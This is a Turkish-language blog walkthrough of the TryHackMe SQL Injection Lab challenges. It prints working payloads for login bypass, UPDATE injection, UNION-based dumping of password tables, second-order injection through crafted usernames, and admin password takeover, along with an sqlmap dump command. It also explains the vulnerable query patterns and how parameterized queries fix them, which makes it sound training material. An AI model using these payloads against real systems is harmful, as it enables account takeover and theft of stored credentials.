HACKING

TryHackMe SQL Injection Lab Write-Up

Merhaba, bu yazımda TryHackMe üzerinde yer alan SQL Injection Lab çözümünü yapacağım. Sql Injection için oldukça öğretici bir oda, çözüp bitirilmesi gerektiğini düşünüyorum. Web penetrasyon testi ve bug bounty yaparken karşılaşılabilen bir zafiyet türü olduğu için önemlidir.

Track: Introduction to SQL Injection

SQL Injection 1: Input Box Non-String

Bir kullanıcı oturum açtığında, uygulama aşağıdaki sorguyu gerçekleştirir:

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID=10 AND password = 'ce5ca67...'

Oturum açarken, kullanıcı profil kimliği parametresine giriş sağlar. Bu sorgulama için parametre, burada görülebileceği gibi bir integer kabul eder:

profileID=10

Giriş yaparken kullanıcıdan alınan verinin filtrelenmeden kabul edilmesi sonucu aşağıdaki payload ile bypass işlemini gerçekleştirebiliriz.

1 or 1=1-- -

Login sayfasına geliyorum.

Daha sonra payloadı girerek flagı elde ediyorum.

SQL Injection 2: Input Box String

Bu challenge, önceki challenge ile aynı sorguyu kullanır. Bununla birlikte, burada görülebileceği gibi, parametre bir integer yerine bir string bekler:

profileID='10'

Bypass etmek için aşağıdaki payload ile verileri string olarak göndereceğiz ve başarılı olacağız:

1' or '1'='1'-- -

Login sayfasına geliyorum.

Daha sonra aynı şekilde string değerler vererek payloadı giriyorum ve flagı elde ediyorum.

SQL Injection 3 and 4: URL and POST Injection

Burada, SQL sorgusu, öncekiyle aynıdır:

SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID='10' AND password='ce5ca67...'

Ancak bu durumda, bazı istemci tarafı denetimleri uygulandığından, kötü niyetli kullanıcı girişi oturum açma formu aracılığıyla doğrudan uygulamaya eklenemez:

function validateform() {
    var profileID = document.inputForm.profileID.value;
    var password = document.inputForm.password.value;

    if (/^[a-zA-Z0-9]*$/.test(profileID) == false || /^[a-zA-Z0-9]*$/.test(password) == false) {
        alert("The input fields cannot contain special characters");
        return false;
    }
    if (profileID == null || password == null) {
        alert("The input fields cannot be empty.");
        return false;
    }
}

Yukarıdaki JavaScript kodu, hem profil kimliğinin hem de parolanın yalnızca a-z, A-Z ve 0-9 arasında karakterler içermesini gerektirir. İstemci tarafı denetimleri yalnızca kullanıcı deneyimini iyileştirmek için vardır ve kullanıcı istemci ve gönderdiği veriler üzerinde tam denetime sahip olduğundan hiçbir şekilde bir güvenlik özelliği değildir. 

SQL Injection 3: URL Injection

Aşağıda görüldüğü üzere girdiğim değerler GET isteği ile iletilmekte:

Bu kısımda payloadı (1′ or 1=1– -) url kısmında gerekli alana yazarak bypass işlemini gerçekleştirebiliriz:

Payloadı yazıp sayfayı yüklediğimde flagı elde ediyorum.

SQL Injection 4: POST Injection

Bu sorgulama için giriş formunu gönderirken, HTTP POST yöntemini kullanır. Giriş formunu doğrulayan JavaScript’i kaldırmak / devre dışı bırakmak veya geçerli bir istek göndermek için Burp Suite gibi bir proxy aracı ile onu durdurmak ve değiştirmek mümkündür:

İsteği yakaladıktan sonra username kısmına payloadı girip forward dedikten sonra flagı elde edeceğim:

Aşağıda görüldüğü gibi başarılı bir şekilde flagı elde ettim:

SQL Injection 5: UPDATE Statement

Bir UPDATE deyiminde bir SQL enjeksiyonu meydana gelirse, veri tabanı içindeki kayıtların değiştirilmesine izin verdiği için hasar çok daha ciddi olabilir. Çalışan yönetimi uygulamasında, aşağıdaki şekilde gösterildiği gibi bir profil düzenleme sayfası bulunmaktadır.

Karşımıza gelen formun kaynak kodlarına bakarak olası sütun adlarını elde edelim:

<div class="login-form">
    <form action="/sesqli5/profile" method="post">
        <h2 class="text-center">Edit Francois's Profile Information</h2>
        <div class="form-group">
            <label for="nickName">Nick Name:</label>
            <input type="text" class="form-control" placeholder="Nick Name" id="nickName" name="nickName" value="">
        </div>
        <div class="form-group">
            <label for="email">E-mail:</label>
            <input type="text" class="form-control" placeholder="E-mail" id="email" name="email" value="">
        </div>
        <div class="form-group">
            <label for="password">Password:</label>
            <input type="password" class="form-control" placeholder="Password" id="password" name="password">
        </div>
        <div class="form-group">
            <button type="submit" class="btn btn-primary btn-block">Change</button>
        </div>
        <div class="clearfix">
            <label class="pull-left checkbox-inline"></label>
        </div>
    </form>
</div>

Yukarıda kod içeriisnde yeşil ile vurgulanan kısımlar olası sütun adlarımız. Olası diyorum çünkü bu isimlerle adlandırılması gerekmez, başka isimlerle de adlandırılabilir. Şansın yardımı ile doğru sütun adlarını elde edebilirsek exploit edebiliriz. Formun savunmasız olup olmadığını anlamak için aşağıda yer alan payloadı email kısmına enjekte etmeye çalışalım:

asd',nickName='serdar',email='hacked_by_serdar

Bu payloadı email alanına enjekte edersek nickname ve email alanlarını her ikiside güncellenecektir.

Payloadı email alanına yazalım ve change butonuna tıklayalım.

Yukarıda görüldüğü üzere her iki alanda güncellendi. Şimdi veritabanının ne olduğunu sorgulayalım. Aşağıdaki sorgular MySQL, MSSQL, Oracle ve SQLite’ı tanımlamak için kullanılabilir:

 MySQL and MSSQL
',nickName=@@version,email='
# For Oracle
',nickName=(SELECT banner FROM v$version),email='
# For SQLite
',nickName=sqlite_version(),email='

Veritabanı versiyonunu sorgulayarak aşağıdaki gibi SQLite versiyonunun 3.22.0 olduğunu elde ediyorum:

Şimdi kullanılabilir tabloları aşağıdaki payload ile sorgulayalım:

',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='

usertable ve secrets adında iki adet tablo var. Secrets tablosu içerisinden flagı elde edelim. Öncelikle secrets tablosunun kolonlarına bakalım.

',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='secrets'),email='

Şimdi de flagı çekelim. Aşağıdaki payload ile flagı elde edeceğiz:

',nickName=(SELECT group_concat(secret) from secrets),email='

Başarılı bir şekilde flagı elde ettik.

Track: Vulnerable Startup

Broken Authentication

Bu kısımda yine string değerler kabul eden bir login formu yer almakta. Aşağıdaki payload ile bypass ederek flagı alıyorum:

1' or '1'='1'-- -

Giriş yaptıktan sonra flagı alıyorum.

Broken Authentication 2

Giriş formu hala SQL enjeksiyonuna karşı savunmasızdır ve  kullanıcı adı olarak ‘ OR 1 = 1 – – kullanarak girişi atlamak mümkündür  . 

Tüm parolaları dökmeden önce, oturum açma sorgusunun sonuçlarının uygulama içinde döndürüldüğü yerleri belirlememiz gerekir. Oturum açtıktan sonra, şu anda oturum açmış olan kullanıcının adı sağ üst köşede görüntülenir, bu nedenle burada görüldüğü gibi verileri oraya dökmek mümkün olabilir:

username kısmına aşağıdaki payloadı girdiğimde 3 adet kolon almadığı için giriş yapmıyor ve hata veriyor:

 1' UNION SELECT NULL, NULL, NULL-- -

Ancak username kısmına aşağıdaki payloadı girdiğimde giriş yapıyorum ve sağ üst köşede “logged as in 2” olarak 2 numaralı kolon yansıyor.

 1' UNION SELECT 1, 2-- -

Daha sonra users tablosundan password çekmek için aşağıdaki payloadı kullanıyorum:

' UNION SELECT 1,group_concat(password) FROM users-- -

Yukarıda görüldüğü üzere tüm parolaları çekerek flagı elde ettik fakat cookieler içinde de decode ederek bu bilgiyi elde edebiliriz. Öncelikle F12 yaparak Application – Cookies yolunu takip edip cookie bilgisini kopyalıyorum.

Daha sonra bu bilgiyi decode etmek için https://www.kirsle.net/wizards/flask-session.cgi adresine gidiyorum ve decode ediyorum.

Flag karşımızda.

Broken Authentication 3: Blind Injection

Bu zorluk, öncekiyle aynı güvenlik açığına sahiptir. Ancak, artık Flask oturum tanımlama bilgisinden veya kullanıcı adı ekranından veri çıkarmak mümkün değildir. Oturum açma formu hala aynı güvenlik açığına sahiptir, ancak bu sefer amaç, yönetici parolasını çıkarmak için oturum açma formunu kör SQL enjeksiyonu ile kötüye kullanmaktır.

Bu kısımda manuel olarak veri çekme işlemi uzun sürmektedir. Blind Sql Injection hakkında bilgi sahibi olanlar bunu bilecektir. Oda içerisinde bu kısımda detaylı bir şekilde manuel olarak çekme işlemi anlatılmakta. Ancak ben manuel çekmek yerine sqlmap ile otomatize hızlı bir şekilde verileri elde edeceğim.

Aşağıdaki komut ile sqlmap üzerinde verileri elde edeceğim:

sqlmap -u http://10.10.44.74:5000/challenge3/login --data="username=admin&password=admin" --level=5 --risk=3 --dbms=sqlite --technique=b --dump

–technique=b ile blind olduğunu söylerek başarılı bir şekilde verileri elde ediyorum.

Vulnerable Notes

Burada, önceki güvenlik açıkları giderildi ve oturum açma formu artık SQL enjeksiyonuna karşı savunmasız değil. Ekip, kullanıcıların sayfalarına not eklemelerine olanak tanıyan yeni bir not işlevi ekledi. Bu zorluğun amacı, güvenlik açığını bulmak ve bayrağı bulmak için veritabanını boşaltmaktır.

Yeni bir hesap kaydedip uygulamada oturum açarak, kullanıcı sol üst menüdeki “Notlar” seçeneğine tıklayarak yeni not işlevine gidebilir. Burada yeni notlar eklemek mümkündür ve burada görüldüğü gibi tüm kullanıcı notları sayfanın altında listelenmiştir:

Not ekleme işlevi, parametreli sorgular kullandığı için güvenli olduğundan, notlar işlevi doğrudan savunmasız değildir. Parametreli sorgularda, SQL ifadesi önce parametreler için yer tutucularla (?) Belirtilir. Daha sonra kullanıcı girişi daha sonra sorgunun her parametresine aktarılır. Parametreli sorgular, veri tabanının girdiye bakılmaksızın kod ve veri arasında ayrım yapmasına izin verir.

INSERT INTO notes (username, title, note) VALUES (?, ?, ?)

Parametreli sorgular kullanılsa bile, sunucu kötü amaçlı verileri kabul edecek ve uygulama temizlemediği takdirde veri tabanına yerleştirecektir. Yine de, parametreli sorgu, girdinin SQL enjeksiyonuna yol açmasını engeller. Uygulama kötü niyetli verileri kabul edebileceğinden, tüm sorgular parametreleştirilmiş sorgular kullanmalıdır ve yalnızca kullanıcı girdisini doğrudan kabul eden sorgular için değil.

Kullanıcı kaydı işlevi ayrıca parametreleştirilmiş sorgulardan yararlanır, bu nedenle aşağıdaki sorgu yürütüldüğünde yalnızca INSERT ifadesi çalıştırılır. Herhangi bir kötü amaçlı girdiyi kabul eder ve temizlemediği takdirde veritabanına yerleştirir, ancak parametreli sorgu, girdinin SQL enjeksiyonuna yol açmasını engeller.

INSERT INTO users (username, password) VALUES (?, ?)

Ancak, bir kullanıcıya ait tüm notları getiren sorgu, parametreleştirilmiş sorgular kullanmaz. Kullanıcı adı doğrudan sorguya birleştirilerek SQL enjeksiyonuna karşı savunmasız hale gelir.

SELECT title, note FROM notes WHERE username = '" + username + "'

Bu, kötü niyetli bir adla bir kullanıcıyı kaydettirirsek, kullanıcı notlar sayfasına gidene ve güvenli olmayan sorgu kötü niyetli kullanıcı için verileri almaya çalışana kadar her şeyin yoluna gireceği anlamına gelir.

Aşağıdaki isimle bir kullanıcı kayıt edersek ikincil enjeksiyonu tetikleyebiliriz:

' union select 1,2'

Evet görüldüğü üzere kullanıcıyı oluşturdum ve en altta notlar kısmında kolonlar yansıdı. Şimdi veritabanından tüm tabloları öğrenmek için aşağıdaki gibi bir kullanıcı kayıt edelim:

' union select 1,group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%''

Yukarıda görüldüğü üzere users ve notes isminde tablolar var. Şimdi users tablosundan tüm parolaları çekmek için aşağıdaki payload ile kullanıcı oluşturalım:

'  union select 1,group_concat(password) from users'

Görüldüğü üzere diğer ütm hesaplar ile benim oluşturduğum hesaplar ve flag karşımızda.

Change Password

Bu zorluk için not sayfasındaki güvenlik açığı düzeltildi. Uygulamaya yeni bir şifre değiştirme işlevi eklendi, böylece kullanıcılar artık Profil sayfasına giderek şifrelerini değiştirebilirler. Yeni işlev SQL enjeksiyonuna karşı savunmasızdır çünkü UPDATE deyimi, aşağıda görülebileceği gibi, kullanıcı adını doğrudan SQL sorgusu ile birleştirir. Buradaki amaç, yöneticinin hesabına erişim sağlamak için savunmasız işlevden yararlanmaktır.

Geliştirici, parola parametresi için bir yer tutucu kullanmıştır çünkü bu girdi doğrudan kullanıcıdan gelir. Kullanıcı adı doğrudan kullanıcıdan gelmez, bunun yerine oturum nesnesinde depolanan kullanıcı kimliğine bağlı olarak veritabanından alınır. Bu nedenle geliştirici, kullanıcı adının kullanımının güvenli olduğunu düşündü ve bir yer tutucu kullanmak yerine bunu doğrudan sorguya birleştirdi:

UPDATE users SET password = ? WHERE username = '" + username + "'

Bu güvenlik açığından yararlanmak ve yöneticinin kullanıcı hesabına erişim sağlamak için admin’– – adıyla bir kullanıcı oluşturabiliriz.

Kötü niyetli kullanıcıyı kaydettikten sonra, güvenlik açığını tetiklemek için yeni kullanıcımızın şifresini güncelleyebiliriz. Parolayı değiştirirken, uygulama iki sorgu yürütür. İlk olarak, veritabanından mevcut kullanıcımızın kullanıcı adı ve şifresini sorar:

SELECT username, password FROM users WHERE id = ?

Tüm kontroller uygunsa, kullanıcımızın şifresini güncellemeye çalışacaktır. Kullanıcı adı doğrudan SQL sorgusuna eklendiğinden, yürütülen sorgu aşağıdaki gibi görünecektir:

UPDATE users SET password = ? WHERE username = 'admin' -- -'

Bu, uygulamanın admin’ — – kullanıcısının şifresini güncellemek yerine admin kullanıcının şifresini güncellediği anlamına gelir . Şifreyi güncelledikten sonra, yeni şifre ile yönetici olarak oturum açmak ve bayrağı görmek mümkündür.

Öncelikle admin’ — – isminde yeni bir kullanıcı oluşturuyorum.

Daha sonra bu kullanıcının profiline girip parolasını güncelliyorum.

Daha sonra tekrar giriş yapıyorum fakat kullanıcı adı olarak admin parola olarak ise admin’ — – kullanıcısının güncellenmiş parolasıın yazıyorum ve admin olarak giriş yapıyorum.

Flagı elde ediyorum.

Book Title

Sayfaya yeni bir işlev eklendi ve artık veritabanında kitap aramak mümkün. Yeni arama işlevi, kullanıcı girişini doğrudan SQL deyimiyle birleştirdiği için SQL enjeksiyonuna karşı savunmasızdır.

Kullanıcı, challenge-da ilk kez oturum açtığında, kendisine şunu söyleyen bir mesaj sunulur: 

Testing a new function to search for books, check it out here

Bu alan tıklandığında kitap sorgulamak için aşağıdaki sayfaya yönlendirilir.

Web sayfası, bir kitap ararken title parametresi ile bir GET isteği gerçekleştirir . Gerçekleştirdiği sorgu burada görülebilir:

SELECT * from books WHERE id = (SELECT id FROM books WHERE title like '" + title + "%')

Bunu kötüye kullanmak için tek yapmamız gereken, LIKE işlecini LIKE operatörünün sağına kapatmaktır. Örneğin, aşağıdaki komutu enjekte ederek veritabanındaki tüm kitapları dökebiliriz:

') or 1=1-- -

Şimdi UNION-based tekniği ile flagı elde etmeye çalışalım. Aşaıdaki payload ile 4 adet kolon olduğunu ve hangi kolonlardan veri çekebileceğimi tespit ediyorum:

') or 1=1 union select 1,2,3,4-- -

Daha sonra tablo isimlerini tespit edelim. Aşağıda yazdığım payload ile tabloları tespit ediyorum:

') or 1=1 union select 1,2,(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),4-- -

Daha sonra tabloları ve kolonları inceledikten sonra aşağıdaki payload ile users tablosundan tüm parolaları çekiyorum:

') or 1=1 union select 1,2,(SELECT group_concat(password) from users),4-- -

Tüm kullanıcıların parolaları ve flag karşımda :).

Book Title 2

Bu sorunda, uygulama sürecin başlarında bir sorgu gerçekleştirir. Daha sonra ikinci sorgudaki ilk sorgunun sonucunu daha sonra sterilizasyon olmadan kullanır. Her iki sorgu da savunmasızdır ve ilk sorgu kör SQL enjeksiyonu yoluyla kullanılabilir. Bununla birlikte, ikinci sorgu da savunmasız olduğundan, istismarı basitleştirmek ve Boole tabanlı kör enjeksiyon yerine UNION tabanlı enjeksiyon kullanmak mümkündür.

Kullanıcı, sınamada ilk kez oturum açtığında, kendisine şunu söyleyen bir mesaj sunulur: 

Testing a new function to search for books, check it out here

Burada yer alan linke tıklandığında aşağıdaki sayfaya gidilmektedir.

Bir kitap başlığı aranırken, web sayfası bir GET isteği gerçekleştirir. Uygulama daha sonra ilk sorgunun kitabın kimliğini aldığı iki sorgu gerçekleştirir, daha sonra işlemde kitapla ilgili tüm bilgileri almak için yeni bir SQL sorgusu gerçekleştirilir. İki sorgu burada görülebilir:

bid = db.sql_query(f"SELECT id FROM books WHERE title like '{title}%'", one=True)
if bid:
    query = f"SELECT * FROM books WHERE id = '{bid['id']}'"

İlk olarak, sonucu sıfır satırla sınırlayacağız, bu da ona var olmadığını bildiğimiz herhangi bir girdi veya girdi vermeyerek yapılabilir. Daha sonra, ikinci sorguda kullanılacak veriler olan ilk sorgunun ne döndürdüğünü kontrol etmek için UNION cümlesini kullanabiliriz. Bu, aşağıdaki değeri arama alanına enjekte edebileceğimiz anlamına gelir:

' union select 'STRING

Yukarıdaki kodu enjekte ettikten sonra, uygulama aşağıdaki SQL sorgularını gerçekleştirecektir:

Sorgulardan, birinci sorgunun sonucunun, ikinci sorgunun WHERE yan tümcesinde kullanılan% STRING olduğunu görebiliriz.

‘STRING’i veritabanında bulunan bir sayıyla değiştirirsek, uygulama geçerli bir nesne döndürmelidir. Ancak, uygulama dizeye bir joker karakter (%) ekler, bu da ilk önce joker karakteri açıklamamız gerektiği anlamına gelir. Joker karakter, enjekte ettiğimiz dizenin sonuna ‘- – eklenerek yorumlanabilir. Örneğin, aşağıdaki satırı enjekte edersek: 

' union select '1'-- -

Uygulama, kimliği 1 olan kitabı burada görüldüğü gibi kullanıcıya geri göstermelidir:

İlk önce sonucu sıfır satırla sınırlamasaydık, UNION ifadesinin çıktısını değil, içeriği LIKE cümlesinden alırdık. Örneğin, aşağıdaki dizeyi enjekte ederek:

test' union select '1'-- -

Uygulama aşağıdaki sorguları yürütürdü:

Artık ikinci sorgu üzerinde tam kontrole sahip olduğumuza göre, veri tabanından veri çıkarmak için UNION tabanlı SQL enjeksiyonunu kullanabiliriz. Amaç, ikinci sorgunun aşağıdaki sorguya benzer görünmesini sağlamaktır:

SELECT * FROM books WHERE id = '' union select 1,2,3,4-- -

Uygulamanın yukarıdaki sorguyu yürütmesini sağlamak, aşağıdaki sorguyu enjekte etmek kadar kolay olmalıdır:

' union select '1' union select 1,2,3,4-- -

Ancak, döndürülmesi gereken dizeyi, ikinci UNION cümlesinden önce tek tırnak (‘) ekleyerek kapatıyoruz. Sorguyu çalıştırmak ve ikinci UNION yan tümcemizi döndürmek için, tek alıntıdan kaçmamız gerekecek. Tek alıntıdan kaçış, alıntı (”) ikiye katlanarak yapılabilir. Tırnakları ikiye katladıktan sonra aşağıdaki dizeye sahibiz:

' union select '-1''union select 1,2,3,4-- -

Yukarıdaki payloadı enjekte ettikten sonra ekrana yansıyan kolonlar aşağıdaki gibidir:

Daha sora verileri çekmek için aşağıdaki payloadı enjekte ederek flagı elde ediyorum:

' union select '-1''union select 1,2,(SELECT group_concat(password) from users),4-- -

Sql injection konusunda oldukça zevkli ve öğretici olan TryHackMe Sql Injection Lab odasının da sonuna geldik. Yazıyı beğendiyseniz yorum yapabilirsiniz :). Başka yazılarda görüşmek üzere.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

sixteen − 7 =

Başa dön tuşu